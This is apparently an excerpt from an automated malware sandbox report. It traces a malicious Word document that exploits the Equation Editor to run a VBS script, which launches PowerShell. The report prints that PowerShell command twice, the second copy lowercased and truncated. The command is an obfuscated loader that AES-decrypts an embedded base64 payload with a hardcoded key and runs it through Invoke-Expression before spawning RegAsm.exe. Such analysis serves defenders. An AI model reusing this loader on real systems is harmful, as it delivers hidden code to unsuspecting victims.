Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00916B86 push ebp; ret	2_2_00916B87
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0091618F push esp; ret	2_2_0091619B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009171B4 push esp; ret	2_2_009171BB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009187A2 push ebx; ret	2_2_009187A3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009187D0 push ebx; ret	2_2_009187DB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009171D4 push ecx; ret	2_2_0091784B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009187DF push ebx; ret	2_2_009187E3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009001F4 push eax; retf	2_2_009001F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009161E2 push esp; ret	2_2_009161EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009187E8 push ebx; ret	2_2_009187EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_009161EF push esp; ret	2_2_009161FB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0090CB52 push esp; retf	2_2_0090CB55
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0090CB58 push esp; retf	2_2_0090CB59

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599969	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2110			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3830			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3004	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3324	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3332	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3332	Thread sleep time: -599969s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3332	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3332	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3300	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3440	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 599969	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Yara detected Powershell download and execute

HIPS / PFW / Operating System Protection Evasion

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni68766530954276373206247047974663cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cnidslzbgrjpnz/qocg/lh2azhz5jl+3cjsg1p/+zzqrclxm6erqs615j4odskigveu9u0hkzwe2qlrhn3w3opnp9d3zrr0bjwddoahuyflsijmtaivmvqnjehi75gyn/731w2sw2lx9repuu8muzzbpukpdjjp40wnuy5rxupjozqj2ijhllwplewavlyyam2ryxj+az147db0x48wxphj1wzixorwhgaboawwaslahl3gmvyt1axv7fbfes5qqtebxgfvlhl4iuznyv88w0lkeiougnbeqfkzf13dc0iby1tfcgdbd33i0q+w2tvg+5qcsydt39hgqc+cpqjw6i+zs5pdayxmrwfx6shzxh4wqvwv1psllbl05m+vuyyzdwhee1jjzk1iypj679fiitnjuqbp5xka/o9mfqdn8rr6+t3w5uz8/qzmhx1mvroeqqe9sfqxrdm4xzld6zm0xvtyxdiptorir9y56wywilgvowzc7rtlcr5vnoqsqcez+tbuh3i8j+drjxqv5li4wpy7xjzfyzpapmswdqejc1bmnxhvq0ukf2im7ffm7k6nze4qwdaby3eaeqabrjji8e0i57j7cmed36tsjyhf0u03e/7/3gwxhiosnvfstql9ychnne0mcqphtsif3pxt9ee9ulz//7yh3sp7zqked24zy6bopjqu9ryt/0qhb2cgoa9ddgikpiavuisszwbmmvp3wzazgxn3nbcy0pstnp16fjfpslfxhda3ns1dtwajq0lidem77ug2ki38ej/rruke9qgo+fuhe0xcht8/wf5nvyoxrcasifgam2a+woxlafenmbr8szgcpcgnpzl/ngn6ossardn26lo+fp2jr2c/5yc3mcao0ld51wdewkzwp8b1w57wqs7gmmfayz4qaxwbt0dpwxcdt4ldwrwotfjthkkrsrb29mx+zsitgjd4zwlyp4xgkn+mdlt0rpmqdazm0hkrfyo5dxlrzhslsw0xcn3euxi+4932vgm0qse+1k4quce5wqthb1zojkshclz3bmuvcdowmedkxuqxkg7dtjdx8uvansaeltrbqenfoyu9ewmyi9lzkr9oznps+cohzr5jhq9hpvtmcsoldartighzy80sqmosagvigdyoyjgpnwduzlldye8nyq